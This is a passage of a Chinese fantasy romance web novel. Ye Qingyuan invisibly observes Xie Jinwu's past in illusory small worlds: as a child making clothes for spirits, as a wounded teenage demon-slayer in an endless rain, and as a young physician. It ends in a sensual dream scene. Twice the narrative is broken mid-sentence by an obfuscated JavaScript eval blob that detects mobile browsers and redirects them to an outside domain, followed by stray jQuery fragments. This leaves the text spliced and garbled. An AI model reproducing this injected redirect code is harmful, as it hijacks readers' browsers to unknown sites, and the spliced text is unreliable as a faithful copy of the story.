她这几天都很准时地去小世界里看谢尽芜。虽然谢尽芜完全感知不到她的存在,她也无法与他有任何交流,可是当她站在明暖的阳光下,看到他那副分明稚嫩天真却强作稳重的模样时,却恍惚像是真的曾和他一起度过了童年时光。 就好像,他们也可以是青梅竹马。 ——青梅竹马吗? 叶清圆心念一动。 - 小谢尽芜没有什么朋友,他的生活很平淡。 清早背着背篓去山里捡蘑菇,然后跟着阿楚学诗和算数,午后在溪边草地躺一会儿,下午便到处闲逛。 这座山灵气充沛,蕴养出许多小山灵。小谢尽芜闲来无事,就坐在溪边的石头上,用嫩绿的叶片和花瓣,给它们做裙子穿。 他扎着丸子头,脸颊皙白,柔软的乌发垂在眉骨处,一双眼清亮得好像溪水。 但他头发太短了,勉强挽起来,迎着溪水边的风,颤颤巍巍的,倒像个初春的小禾苗。 叶清圆坐在他的旁边,就见好多莹白的小山灵们守在他旁边,仰着圆润的大脑袋,好像一群棒棒糖成了精。 还有的伸手抓住他的衣摆,神色认真地“看”他制作草裙。 这些草裙,是挺有夏威夷风格的哈。 小谢尽芜抬手拂去眉骨处的碎发,碎碎念道:“阿娘说过的,人和动物的区别,就是人会穿衣服,知道害羞,而动物不会。我给你们做衣服,以后就不要光着身子到处走了,羞。” 一只小山灵球爬上他的头顶,又嗖地跳下去,落在草地里打了个滚。像是在玩某种游戏。 谢尽芜头顶的小禾苗被它揪得晃了一下,略微松散,一缕发丝垂下来。 他的小脸也冷了下来,严肃道:“不要碰到我的头发,待会若是乱了,我就再也不给你们做裙子了。” 小山灵们“面面相觑”,乖巧地再也不爬去他的发顶。 叶清圆眨眼看他,又看小山灵们,觉得这场面简直和谐得完美。 谢尽芜竟然在给一群透明的小灵球做裙子,还做得这么认真。 他是吃可爱长大的吗? 107. 小世界2 半个月后,系统发来提示:“宿主,谢尽芜已经进入下一个小世界,宿主是否还要前去一观?” 叶清圆不假思索地点头:“去。” 系统这次很难得地犹豫了一瞬:“这个小世界仍然是按照谢尽芜的真实过往而创建的,但设定有些……难以直视,宿主是否考虑清楚了?” “是,考虑清楚了。”叶清圆认真道,“既然是他的真实过往,无论如何我都要去看的。” - 天光黯淡,阴雨濛濛。 满山满村都笼罩着一层雾气,空气湿润得随手都能攥出一把水来。 江边的竹房子好像要发霉了,密布的阴云下也总闪烁着湿润的亮意。浓雾贴着水面流淌下来,合着飘拂如霰的冰冷雨星,将视野揉得更为模糊昏沉。 谢尽芜蹲在江边洗剑。 雪亮凝澈的剑锋上沾染了不知是什么妖鬼的血液,花花绿绿粘稠恶臭,恶心得要命。他洗了很久才洗干净,江水流淌着将那成团的污浊冲向山下。 他收剑入鞘,等水又变得清澈了,才掬起一捧水随意洗去手臂和脸颊的血迹。 水珠砸在微波荡漾的江面上,溅起碎玉清珠。 叶清圆站在他身旁,见他眉睫低垂,神情中有浓浓的倦意。 谢尽芜察觉不到她的存在,只是抬袖将脸上的水擦干净。 不经意间一垂眸,竟见那水面一尺之下现出半张发白肿胀的大脸,正露出满嘴锯齿状的牙齿,快活地朝着他笑。 大脸在水下和他打招呼:“小公子……咕噜咕噜,你好……咕噜咕噜……呀……” 一串乳白色的水泡涌上来,在水面炸出腐烂的气息。 叶清圆从没见过这么恶心的肥脸,当即吓得大叫一声,慌忙躲在谢尽芜的身后。 谢尽芜的眸光沉静无波,反手就抽剑刺进去,淡绿的血液霎时扩散开来,染得江水浑浊一片。那张肥脸像是被戳破的气球一样,慢慢浮出水面,随即被江水冲走。 他换了个地方又洗剑,看也没看那东西一眼,随后头也不回地走了。 雨后的村道湿滑崎岖,叶清圆小跑着跟在他身后,犹自反胃想吐。 那张大脸也不知在冰冷的江水里泡了多久才成就那副“尊容”,竟还那么自信地朝着谢尽芜咧嘴散发魅力,也是够恶心的。 她抬头看向前方的谢尽芜,他脸色依旧如冰山,像是早已对此习以为常的模样。 这是第二个小世界,谢尽芜已经是十四、五岁的少年模样。 他英挺劲瘦,脸上的青涩尚未褪去,眼神却已经变得冷漠阴郁。他穿一身利落箭袖,头发也高高束起,满身的灰黑两色,就连手掌也缠了墨色绷带,却露出半截冷白的手腕。 那绷带上好像有某种咒文,光线太暗,叶清圆看不清楚。 她腹诽道:难道这个小世界里的谢尽芜,就天天和这些妖鬼打交道吗? 谢尽芜没有避雨的意识,冰冷的雨水打湿他的乌发和肩头,又沿着他手臂缓慢地往下淌,他却好似浑然不觉。 他也不知自己为何会出现在这个整日下雨的小山村,仿佛他生来就在此处,今后也将一直居住在此。这茫茫青山和冷冷江水看起来是好一幅烟雨朦胧的水墨画,实则山后头、树林中,江面下,处处是妖鬼,他持剑在此杀了快两年,都没有将它们杀干净。 妖鬼肆虐,却没有百姓遭难。因为这山村中本就没有百姓。 他是唯一的活人。 谢尽芜也曾疑惑自己为何要待在这里,可后来发现他只是出不去罢了。他曾经沿着奔涌不息的江水往山外走了两天两夜,想要走出这片阴森的鬼蜮。途中经过无数破败的木桥与蔓草荒烟,终于浓雾之后又现出连绵的竹楼与树木。 他平静地靠近,平静地发现自己又回到了原地。 脑海中有个声音告诉他,只要杀光这山里的妖鬼,他就可以离开。 可是两年过去,山村里妖鬼依旧泛滥。 谢尽芜不觉得失落,更不会绝望。 他只是觉得很没意思。 除了完成命令之外,他其实也不知道自己还能做什么。 雨势逐渐变大,芭蕉叶子被激打得轻晃起来。叶清圆置身在这方小幻境中,犹如灵体一般。冰冷的雨水从天幕落下来,也只是毫无阻碍地穿透她的身体,随后砸落在地面上,而并不能在她的衣衫留下半点潮湿之意。 她跟着谢尽芜进了竹屋里,想要看看他不杀妖鬼时会做什么。 竹屋很干净却甚是简陋,除了床和桌椅之外,什么都没有,荒凉得根本不像是有人居住的样子。谢尽芜随手将长剑搁在桌上,转身去取了药瓶和绷带,随后便在窗边坐下,抬手将衣服层层解开,最后里衣也褪至腰腹处,露出满肩满背血淋淋的伤口。 浓重的血腥气息霎时充盈整个房间。 叶清圆顿时就被吓了一跳。这伤口像是被某种猛兽的利爪撕扯而成,深可见骨,瞧起来极为骇人。 谢尽芜受了这么重的伤,可是这一路走来他竟也连眉头都没蹙一下。 “怎么回事?怎么伤成这个样子?” 叶清圆在他身边坐下,明知他对自己的存在无知无觉,却仍旧忍不住替他害疼:“就算要杀妖鬼,也该小心啊。” 谢尽芜面色冷肃,早已忍得脸色发白。他探手从窗台取来半坛酒,随后在叶清圆震惊的目光中,手腕一翻,清亮的酒液当即哗啦啦地淌了他满背。 他痛得闷哼出声,几乎是瞬间就出了一身薄汗。酒坛“咚”的一声歪倒在地,谢尽芜手指颤抖地打开药瓶,将白色的粉末洒在伤口处,随即咬着牙缠上了两圈绷带。 他其实根本看不到背后的伤痕,药粉和绷带都用得简陋,甚至还有伤口裸.露在外,正在渗血。叶清圆连看都不忍心看,伸出手想要替他好好包扎一次,手指却连碰触他都做不到。 她的指甲掐在手心里,止不住地替他难过。 “以后再碰到这种很厉害的妖鬼,一定记得赶紧躲开啊,”叶清圆轻声说,“不要总是让自己陷入那么危险的境地。” 谢尽芜听不到,也感受不到。 他在窗边坐了许久,秀挺的眉紧蹙着,睫尾颤颤,漆黑的眼眸也蒙上一层水雾,像是在慢慢消化这刮骨般的痛楚。 他十五岁的时候,也曾这般孤独地舔舐着伤口吗? 叶清圆伸出手,手心在他皙白湿润的脸颊虚虚地揉了两下,像是想要隔空传递给他一些安慰。 她知道谢尽芜的身上有许多狰狞伤痕,却不曾想过这些伤痕竟来得这般痛。 他处理伤势的手法如此粗暴,却如此娴熟。或许在过往的无数个日夜里,他也曾这般利索地给自己“疗伤”。 并非敷衍,而是连半点认真的气力都没有了。 片刻后,谢尽芜换上一身干净的墨色衣衫。这一场剧痛像是耗尽了他所有的气力。他慢慢侧躺在冷硬的竹床上,面朝里,疲倦地阖上双眼。 - 翌日清晨,叶清圆再次进入了小世界。 阴冷的雨下得没完,有六条腿的青蛙潜伏在草丛中疯狂嚎叫着,发出尖利刺耳的鸣声。 江水漫漫,奔涌而去,有点要决堤的征兆。远处好像冲上来一具尸体,惨白虚软的皮肤汩汩往外冒着绿水,有个扎羊角辫的红衣纸人跌坐在尸体的旁边哭天喊地,泪水将纸扎的脸都糊成了一团。 雨水淋湿它纸扎的身体,它慢慢地湿烂、垮塌,然后和尸体一起,又被江水冲走。 叶清圆没有找到谢尽芜,也没有看到别的“正常”活物,于是一回生二回熟地进了他的竹屋。 昨日换下来的染血衣衫已经洗好了,就搭在窗外翠绿的竹竿上,湿漉漉的还滴着水。叶清圆抬眼望了望天,分明还下雨呢,谢尽芜怎么把衣服晾在外面?好笨。 她想要将衣服收进来却也爱莫能助,随即想道:就算不下雨,依照着这个小世界里的天气,衣服也是绝对干不了的吧? 毕竟,这里的雨似乎不会停歇。 冷雨更急了。叶清圆不想再坐在窗边,可是竹屋里的摆设又实在简陋,除窗边竹椅之外就再无坐处,她只好挪到谢尽芜的那张竹床上。 坐下的一瞬间,她感觉到自己的屁股好像被硌了一下,皱眉道:这床怎么硬得跟板砖似的? 她掀开一看,发现这竹床竟是仅铺了一层薄薄的床褥,难怪这么硬,躺得下去吗? 怪不得谢尽芜那时就说她的床榻软,又依赖万分地紧紧箍住她的腰身,将脸颊埋在她颈窝,说夜里睡觉时抱着她就好像在抱住一团云、一缕雾似的。 原来他自己就这么睡啊。 叶清圆叹息着。不过乐观想,这怎么都比树杈子和山洞要好些。 天气潮湿,这被褥也像是吸足了水分,稍用力就仿佛能拧出水来。叶清圆在竹床上坐了片刻,蓦地意识到一个问题—— 诶? 我可以触碰小世界里的东西啦? 她又惊又喜地拍了拍床榻,手掌却再一次穿床而过。 “……这蕴灵珠里是不是有bug?”叶清圆无语,“还是系统有bug?” 系统很委屈地为自己辩解:“目前还未检测出异常,宿主请不要责怪系统。” 话音落下,叶清圆还想说些什么,却忽听窗外传来一阵隐约的脚步声,是谢尽芜回来了。 这次还是没有撑伞,他像是察觉不到冷似的,依旧是一袭墨色的单薄箭袖,手腕的位置露出点点寒芒,护臂上也刻有繁复的咒文。 他推门进屋,将长剑放在桌上,探身把淋湿的衣衫都拧干,收回屋里继续晾着。 叶清圆跟在他身后审视片刻,没发现他的动作有何不对劲,身上的血腥气也很淡,他这次或许是没有受伤。 她松了一口气。 果然,谢尽芜取出药瓶和绷带,褪下层层衣物,也只是简单地换了一下.药。上次的伤根本没有痊愈,此次他提剑出去时或许是又牵扯到了伤口,绷带一缠上去,很快就被渗出的血染透了。 叶清圆浑身鸡皮疙瘩都出来了,眼睫颤颤的连忙偏过脸去,不敢再看。 窗边,谢尽芜换好伤药起身,余光却像是瞧见了什么,身影蓦地一顿。 叶清圆迷茫地循着他的视线望去,是那张板砖似的竹床。 ——糟糕! 那床褥上有她坐过的痕迹。 谢尽芜静静地站在竹床前,眉心紧蹙着,神情也肃戾,似乎对那几道褶皱的来源感到百思不得其解。 “小谢哥哥?”叶清圆走到他身边,试探着唤道。 谢尽芜敛眉,只躬身抚平了那些褶皱。随即,他指尖凝聚灵光,转身在门窗的位置设下了禁入的咒文。 ……原来他是以为有妖鬼闯进来啊。 叶清圆眨了眨眼,本以为他会洁癖到连床单一起丢掉。没想到下一瞬,谢尽芜抬手,掌心覆在咒文的位置,随后轻轻一抹,灵光消散。 他竟是将那些禁入的咒文又解除了。 “怎么啦?”叶清圆很好奇,“不怕有妖鬼偷偷进来吗?” 其实他设下再多的咒文也是拦不住她的,她只是对他的这种纠结感到奇怪。 谢尽芜将咒文抹消之后,便也在竹床边坐下了。 他的眼睫低垂,目光虚落在地板上,不知是在思索些什么,神情竟很难得地现出茫然和脆弱。 等了一会儿,叶清圆才看到他闭了一下眼,随后蹭地站起身,脸色又变回了原本的冷漠阴郁。 他连伞都不撑,就这么淋着雨出去了。 叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980569|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清圆不明所以,连忙跟上。 谢尽芜出了竹屋左拐,来到一个饭馆。 天色很差,饭馆里也没有客人,掌柜的瘫倒在躺椅上听雨,见他来也不招待,只随意向后一指,懒洋洋道:“后厨里有米饭和菜,想吃什么自己做。” 谢尽芜显然已经与他很熟络,“嗯”了一声就掀帘进后厨。叶清圆看他动作利落地炒了两道菜出来,随后坐在窗边的位子,埋头沉默地吃。 掌柜的将手臂枕在脑后,聊闲话似的与他提起山后的妖鬼,说江水快要决堤了,水底那些妖怪和死人怕不是又要出来作乱。 他问谢尽芜,会不会将它们都杀掉? 谢尽芜头也不抬,淡声道:“你想怎么死?” 掌柜的哈哈一笑:“给我个痛快吧,不要叫我太难受。断头怎么样?” 谢尽芜道:“可以。” 好奇怪,他话音落下的一瞬间,那掌柜的头颅“喀拉”一声竟利索地掉下来,骨碌骨碌滚出饭馆,滚到了湿滑的青苔上。 躺椅上的那具身体也慢慢萎缩、干裂,变成了一张干燥的老树皮。 这是一只树妖。 叶清圆略感奇怪地想:掌柜的作乱害人了吗?他死了,这饭馆谁来经营呢? 谢尽芜将餐具都收拾好,在柜台搁下银两,沉默离去。 冷雨潇潇,阴风瘆人。叶清圆这次没有跟上,因为他提着剑,竟又跑去山里杀妖。 - 半个月的时间,叶清圆每天都会来到这个阴雨连绵的小世界。 可是无论她什么时候过去,谢尽芜一直在杀妖灭鬼,也一直在受伤,那双漂亮的黑曜石般的眼眸始终那样阴郁冷漠,一如竹屋外永不停歇的冷雨。 他连片刻喘息的时机都没有,身上旧伤未愈又添新伤,伤药倒光了一瓶又一瓶,绷带终于不再被渗出的血染透了。可那柄雪亮的长剑不知遭受了什么,竟断作数截。 谢尽芜因此只好弃剑用刀。 然而没过多久,刀锋也卷了刃。 山村里的妖物和鬼物就像是每晚凌晨会自动更新,永远也杀不尽。 谢尽芜愈发沉默寡言。 江边有个怪女人,是只蚕妖,生得唇白肤也白,浑身白嫩柔滑得像是泡发的馒头一样。 它看中了谢尽芜的相貌和灵力,想要将他掳来做自己的食物,可是却慑于谢尽芜的身手,始终不敢出手。 叶清圆眨眨眼,真的很想给这蚕妖一拳。 真是活腻歪了,敢觊觎她的谢尽芜! 有时,这蚕妖也厚脸皮地跟在谢尽芜身后伺机而动。 江畔还有它手底下的七大蛙八大鱼,举起颜色各异的小彩旗,齐刷刷地迈着小短腿,高声呐喊地为它助阵。谢尽芜本来懒得对这些小喽啰们出手,却总被它们吵得满心烦乱。忍无可忍之下,他伸手从道旁折了一树枝,灌满灵力,眨眼间就将这些作孽的妖物杀得魂飞魄散。 枯树枝扎成的小彩旗叮叮当当散落一地。 那只蚕妖吓得变回原形,纵身一跃入水,蛄蛹着逃跑了。 谢尽芜将那柄剑修补完整。 他接连好几日都不曾开口说话。也是,这山村里连个活人都没有,他去和谁交流呢? 叶清圆跟着他略感沉闷,实在憋不住,就自言自语地说起无事山居的生活。 谢尽芜走在前头,眉目肃戾地警惕周遭的妖物。她慢悠悠地在后面跟着,淡蓝色的衣裙是这幽黯山村里唯一的一抹鲜活气息。 谢尽芜的步伐也慢下来。 她声音清脆,语带轻笑,眉眼灵动而娇俏,说起趣事时常常将自己笑得前仰后合。有一次她笑过之后,猛然发觉谢尽芜不知何时已经顿住步子,转身抬眸,望向她所在的位置。 他的眸光沉静,恍惚间竟像是在听她讲话。 叶清圆心中一动,正要开口唤他。 却见谢尽芜抽剑出鞘,雪亮的剑锋穿胸而过,刺死了她身后的一只藤妖。 - 谢尽芜一整天不曾待在竹屋。 叶清圆知道他又去山里杀妖灭鬼,却不知为何这次待了这么久。她等到天幕黑透时,才终于见到谢尽芜脚步虚浮地淋着雨走过来。 他的脸色白得近乎透明,一点血色都没有了,浑身血水混着雨水一齐往下淌,踩过的青石道上都洇开了浓浓血花。 叶清圆急得在竹屋里团团转,却连屋门都不能替他推开。 谢尽芜推门进屋,浑身的冷寒气霎时充盈整间小屋。他随手将长剑一丢,脱掉湿透的衣物,跌坐在竹藤椅子里,虚弱得仿佛只剩下最后一口气。 他低着头,浓秀的长睫垂覆下来,碎发也黏在冷白脸颊,模样可怜又委屈,像是一只被雨淋湿的小狗。 身上的新伤叠旧伤,铺陈在他原本皙白干净的肌肤上,触目惊心。 叶清圆好多次都给他洗脑,不许再拼命、要懂得爱惜自己,受伤了就在家安心养伤,等伤口愈合了再出去。她分明知晓自己的话对他而言轻微得还不如一场风,却依旧坚持不懈地在他耳旁念叨个没完,只祈求能有那么一瞬间,她的声音可以穿过重重幻境,真的被他听到。 可是她的祈求不曾得到回应,谢尽芜仍旧提着剑到处杀妖。他像是失去了自我的工具人,脑海接收到某种指令之后就拼了命地要去完成,也根本不在乎自己的身体是否承受得住。那种不要命的打法,连江畔的妖怪见了都以为他嫌命长。 叶清圆气得泪水在眼眶里直打转,却又阻止不了他半点。她一怒之下干脆出了小世界,宁肯天天守在莲池畔喂锦鲤,也不想进去再见到他满身伤痕的惨状。 那些过往她只是看一看就止不住要做噩梦,可谢尽芜却是亲身经历过。 从八岁到十六岁,每日每夜,那么多年。 108. 小世界3(上) 在第三个小世界里,谢尽芜是位医师。 叶清圆刚进入这个小世界的时候,就听附近的百姓提起过他,说村子外的那位小谢公子虽医术高超,脾气却有点不好呢,从来都不曾见他笑过。 ——是啊是啊,听说若是有人不遵医嘱,他还会拍桌动手呢! ——瞎传什么?小谢公子只是不爱笑而已,哪儿来的拍桌动手? 叶清圆很好奇,于是踩着松浅的草地,往他们所说的杏林走去。 春光灼灼,阳光明暖,林间草地里点缀了灵巧漂亮的小花,树顶流云轻柔如女儿家的衣袖,微风一拂就变了形状。 谢尽芜居住的草庐就隐在杏花林的深处。 阳光斜斜照进草庐中,光线霎时明亮许多,照亮了墙边置着的药柜。长案上还摆了药秤、脉枕,以及笔墨医书。草庐外小火炉上咕嘟咕嘟煮着不知是什么药,有苦涩的味道随春风飘进来。 谢尽芜端坐在窗边的竹桌旁,着一身素白衣袍。 明媚的春光大片大片地泼洒进来,他的脸容清隽皙白,眸光殷润透澈,微抿的唇显出一种莹润健康的红,是再好看不过的、真如灼灼春花一般的少年相貌。 叶清圆从未见过他十七岁时的模样,此时一看,却是有些移不开眼了。 谢尽芜的对面有一个十来岁的小孩子,脸蛋上开满了血呼啦的花,像是生了某种疮。 他淡声问:“按时吃药了?” 小孩子点头道:“昨日刚吃过。” “……一天要吃三次。”谢尽芜道,“忌口了吗?” 小孩子眼神躲闪了一下,手指抠了抠衣角,“嗯!” 他的眼珠转动,脸上也有点心虚的笑。 谢尽芜漠无表情地看着他,半晌后,才淡声道:“我给你讲个故事吧。从前有个人不遵医嘱,后来他每次吃零嘴都被噎到,吃饭时筷子也从中间断开,每次出门都会被低垂的槐树枝扎到肩膀……” 小孩大惊:“你怎么知道我家门口有槐树?!” 谢尽芜蹙眉不语,起身又包好三天的药递给他,道:“快走吧,别再让我看到你了。” 小孩委委屈屈地走了。 他的小伙伴还在杏子林里等他,见他垂头丧气,不由疑惑道:“怎么啦?” 小孩儿低声道:“小谢公子好像很讨厌我。” “为什么这么说?” “他刚才把药给我以后,竟然说以后都不想再见到我了。” “……”小伙伴思索一会儿,蓦地反应过来,“你个二百五!小谢公子是希望你脸上的疮快点好吧!” 小孩儿“啊?”了一声,烦恼顿时烟消云散,两人心情很快愉悦起来,勾肩搭背地穿过杏花林离开。 叶清圆快要笑倒。 她倚靠在草庐外的一株树旁,眼中含笑地看着草庐里忙碌的身影。 草庐之中,谢尽芜将桌上的药渣清理干净,又去翻阅书本,提笔在药方上写了什么。 他这时的身板还不太健硕,是少年人独有的修长高瘦,单薄衣衫与玉带勾勒出流丽的肩线与腰线。兴许是阳光照得太久,他有些热,便抬手将雪色的领口微微敞开,露出两段嶙峋瓷白的锁骨。 一枚小痣,殷红似血,就点在锁骨上。 为了方便干活,他特意将袖子都挽至肘部,露出一截皙□□实的手臂。 叶清圆瞄了两眼,发现他手臂上竟还有刀剑导致的伤痕。 看来这些小世界的发展都是连贯的,上一个小世界造成的影响也会延续至这个小世界。 只是记忆会消弭。 就像这个小世界里的谢尽芜,不会记得他曾住在一个阴雨连绵的小山村,提剑灭杀了八年的妖鬼。 目光追随着谢尽芜忙碌的身影,叶清圆忽地想起他方才漠无表情说些吓唬小孩子的冷笑话,反差拉满,顿时忍不住又要笑。 幸好是在小世界,他感知不到自己的存在,她可以尽情地嘲笑他。 谢尽芜走出草庐将药渣倒掉,正要转身回去的时候,忽然心有所感一般,抬眸往杏林中看了一眼。 草庐外春燕振翅,杏花纷落如雨,一派晴光大好。 什么人都没有,就好像是他出现了幻觉。 才会听到极短暂的、宛如银铃般清脆的一声笑。 - 叶清圆每天都待在杏树下,静静地看着谢尽芜给人写药方、煎药、把脉。 她严格遵守系统的叮嘱,半个时辰的时限一到,立刻抽身就走,绝不多停留一秒。也幸好这个小世界里的谢尽芜生活得还算安稳,除了偶尔会被病人气到之外,也并没有什么危险。叶清圆的心情也慢慢愉悦起来。 不必像上个小世界那样,终日提心吊胆。分明很想要见到他,可回回又都被他不要命似的打法气得直想哭。 她也亲眼目睹了一次医闹。 那是个极为难缠的病人,他喝醉以后与人打架,被人砍断了两根手指。他在草丛里瘫睡一夜,翌日早晨才想起拿着两根坏死的指头来找谢尽芜,结果自然是缝合不上。那人恼羞成怒,不肯承认自己酒后误事,却怪谢尽芜是庸医、是想要讹他一笔巨财才不肯医治,闹闹嚷嚷地在杏花林里嚎了许久,惊走满枝春燕,最后被谢尽芜一竹棍拍晕过去。 那人从此成了村里的笑话,臭名远扬,恨不得扛着包裹连夜逃走。 叶清圆站在草庐外,摇头叹息。 不讲道理的人哪里都有,这种医闹事件也屡屡发生。谢尽芜本是杀手出身,他可以救人性命,可提剑取人性命的时候也丝毫不含糊,因此才完全不怕他闹。可那些不懂防身之术的医师们呢? 难道就要任人欺负吗? 叶清圆的心情有些低落,思绪乱了很久。 反观谢尽芜,他却没有被这件事影响半点,依旧挽着袖子,神情沉静地捣药。 翌日晌午,晴光泼洒,杏花满山。 叶清圆坐在竹桌旁,漫不经心地以手支颐,隔着氤氲的茶雾凝望着在药柜前忙碌的谢尽芜。 他将包好的药和字条一齐递给老人,低声道:“注意事项都写在这里,不要忘记。” 老人接过来,将字条拿远看了看,笑道:“好,好,多谢你。” 谢尽芜垂着睫:“不必。” 老人提着药离开了,草庐中只剩下谢尽芜和叶清圆。 那杯倒好的热茶散发出清新的茶香,明澈的阳光下仿佛可以看到细小的雾珠在飞舞。 叶清圆的目光落在他的背影,笑道:“怎么还不来喝茶?再等一会儿就要凉了。” 她延续了上一个小世界的习惯。谢尽芜虽感知不到她,她依旧会和他说话。 谢尽芜将书案都收拾干净,药秤、药舀也归置一旁。 随后,他的掌心轻按在桌面上,就这么背对着叶清圆,一动也不动。 叶清圆迷茫地眨了眨眼,以为他站久了头晕不舒服,结果还没等起身过去,就听他忽然开口道:“……你是来见我的吗?” 他的嗓音清越好听,语调沉静,可压在桌面的微颤的手指还是泄露出一丝紧张。 叶清圆惊得险些跳起来:“你可以看到我吗?!” 她快步小跑到谢尽芜的身旁,又惊又喜:“还是能听见我讲话?” 谢尽芜垂着眼睫,微红的唇紧紧抿着,连半点目光都未分给她。 显然是都不能。 他的眼眸亮亮的,眸中有些许稚嫩与羞涩的光,轻声道:“其实我可以感知到你的气息,我们以前……” “认识吗?”谢尽芜抿了抿唇,仿佛说出这句话需要不少力气,“我觉得你的气息很熟悉。” 他话音落下,耳尖蓦地一红,欲盖弥彰地扭过脸去,仿佛下一秒就要落荒而逃。 叶清圆呆怔地站在草庐里。 怎么回事? 为何谢尽芜会察觉到她的存在? 叶清圆每次来到小世界里都拜托系统,半个时辰将至的时候一定提醒她,她不想自己的拖延和大意而害得谢尽芜被影响。 可他怎么还是被影响了? 谢尽芜的喉咙滚了两圈,鼓足勇气道:“你可以说话吗?” “可以呀,但是你听不到的。”叶清圆的手心虚虚地捧住他的脸。 他等不到回应,也印证了自己许久以来的猜测,浓睫垂覆,心头不由得感到些许失落。 窗外杏花飞舞,如下了一场急雨。谢尽芜转头望去。 明亮的阳光斜斜照进来,泼洒在他肩背和皙白的脖颈,下半张脸也沐浴在柔暖的光里,却唯有那一双眼却掩在了阴影中,沉静如深潭。 他思索一瞬,小声与她商量:“既然你无法开口,那以后就由我讲给你听,好吗?” 叶清圆笑起来,连连点头:“好呀好呀!” 谢尽芜本就不善言辞,两人从前相处时也大多是叶清圆在叽叽喳喳地讲,他在旁边眉眼含笑地听,只偶尔附和两句。 如今由谢尽芜单方面地开启话题、延续话题,实在太过难为他。 他的生活极其单调,除了看病开药煎药之外,再无其他。有时说着说着,叶清圆还不觉得怎么样,他就略感挫败地轻声问:“是不是有些枯燥?抱歉,我自记事起就不曾走出这片杏林山村,实在不知还有什么可说。” 他又变成了那种患得患失的模样,望过来的目光中带着无措与委屈,还有小心翼翼的讨好。 叶清圆很想安慰他,告诉他没关系呀,没必要非得说点什么的,我们就静静地陪伴着彼此也很好。 可是纵使她说一千道一万,他也听不到。 两人像是心意相通,慢慢的,谢尽芜也不再勉强自己。他只是在窗边木桌备好一杯热茶,数着心跳等待叶清圆的到来。当那茶雾现出一瞬的凝滞,就是她来到他身边的时刻。 这是谢尽芜发现的一个小秘密,揣在心怀中像是藏了一个有关于她的珍宝。他没有告诉她,因为尚且无法确定自己的心意,若是贸然开口又怕是唐突了她。 他强作的沉静下仿佛还压抑着某种磅礴欲出的情绪,他屡次心跳紊乱、气息不稳,有些话堵在唇齿却又说不出口。 他不知道该如何定义自己对她的这种感觉。 谢尽芜活了十七年,还从未有人在情爱一途引导过他。 直到有个深夜,他睡得分不清现实与梦境,竟恍惚看到重重叠叠、柔软如云的床帐。 窗外暴雨如瀑,屋里光线昏暗,唯有床榻那处亮起一点烛光。他目光一瞬不转地望着榻上的身影,喉咙滚了滚,仿佛受到某种召唤似的走上前去,拂开床帘,清甜的香气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984641|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗涌霎时萦绕鼻端。 柔如云雾的床褥中,少女面朝里侧躺着,薄被盖至胸口,露出一截纤长的脖颈和瘦削肩膀,肌肤在灯烛下泛出莹润柔滑的光泽。 她的手中摆弄着一只木柞小盒,叮叮当当地流淌出一阵音乐,清丽而缱绻,似含无限柔情。她心情愉悦,唇角微勾,低声随之轻哼,细细的一把清脆嗓音。 她的长发流淌在两人的枕上,像瀑布,也像藤蔓。温香暖玉,巫山朝露,谢尽芜一时有些晃神,俯下身难以自控地就要将她拥入怀中。 她身上只穿了一件薄薄睡衫,掌心覆在她肩头时犹然清晰地感受到那份柔滑。 她顺着谢尽芜的力道转过身,凑近,在他微敞的领口嗅了嗅。 也不知故意还是无心,鼻尖都要贴在了他的锁骨上。 她抬起瓷白娇俏的小脸,唇瓣红润又饱满,呢喃着说:“这个味道还挺好闻的。” 谢尽芜刚刚沐浴过,身上犹带雾气,还沾染着她喜欢的那种香味。 他拿走她手里摆弄着的木柞八音盒,随手搁去一旁。 没了灵力的撑持,音乐戛然而止。 她挑眉笑他,好娇纵,像一只被宠溺太过的猫儿:“拿走了我的音乐盒干吗?难道你要给我唱歌听哦?” 谢尽芜半阖眼帘,轻嗅着她的气息,同时低低道:“嗯,我给你唱。” 他的目光落在她的唇瓣,再往下瞧,细腻的脖颈与精致锁骨,再往下,柔软的雪丘…… 她抬手拧了他一下子,气笑了:“往哪里看呢?不是说要唱歌给我听吗?来吧,给你一次表现的机会。” 谢尽芜顺势握住她的手腕,低首在她的手指细密而缠绵地亲吻着,有点儿示好的意思。 她小声笑话他:“亲我也没用,我都记住啦。你今天一定要唱歌给我听的。” 一阵清甜的香气随着她的动作激出,从松垮的领口涌出来。 “若是表现不好,就罚你给我做个新的音乐盒。” 谢尽芜立刻道:“若是表现好呢,有奖励吗?” “你想要什么奖励?”她眼疾手快地拦住了他伸来的手,羞恼道,“知道你也不会要什么正经奖励!” 谢尽芜闷声笑,嗓音低低:“清圆,我又不是什么正人君子。” 她的眸光柔和而明亮,像是春日里山雾笼罩的青梅。脖颈和锁骨下,因为侧躺的姿势而挤出柔软的弧度,浴后的花香蒸腾,显出一种稚嫩、青涩的诱.惑。 “自然,也只会做那些对你而言不正经的事情。” 窗外暴雨如注,谢尽芜浑身燥热得却像是被火烤。他凑过去吻她的唇,满心的渴望与焦急,手却轻车熟路地探进被子里,手指灵巧地解开她睡衫的系带,在她腰线和小腹亲昵地揉了两把。 她小声嗔怪:“你这人……坏得没边了……” 谢尽芜心口仿佛有火在烧,神思昏聩间已经将她覆在身.下,指腹游移着不知碰到了哪里。她抓在他肩头的手指蓦地用力,指尖在他身上扣下小小的月牙印。 床帐里热得像是蒸笼,他像是被闷在蒸笼里将死的人,唯有她渡来清甜泉水方可活命。 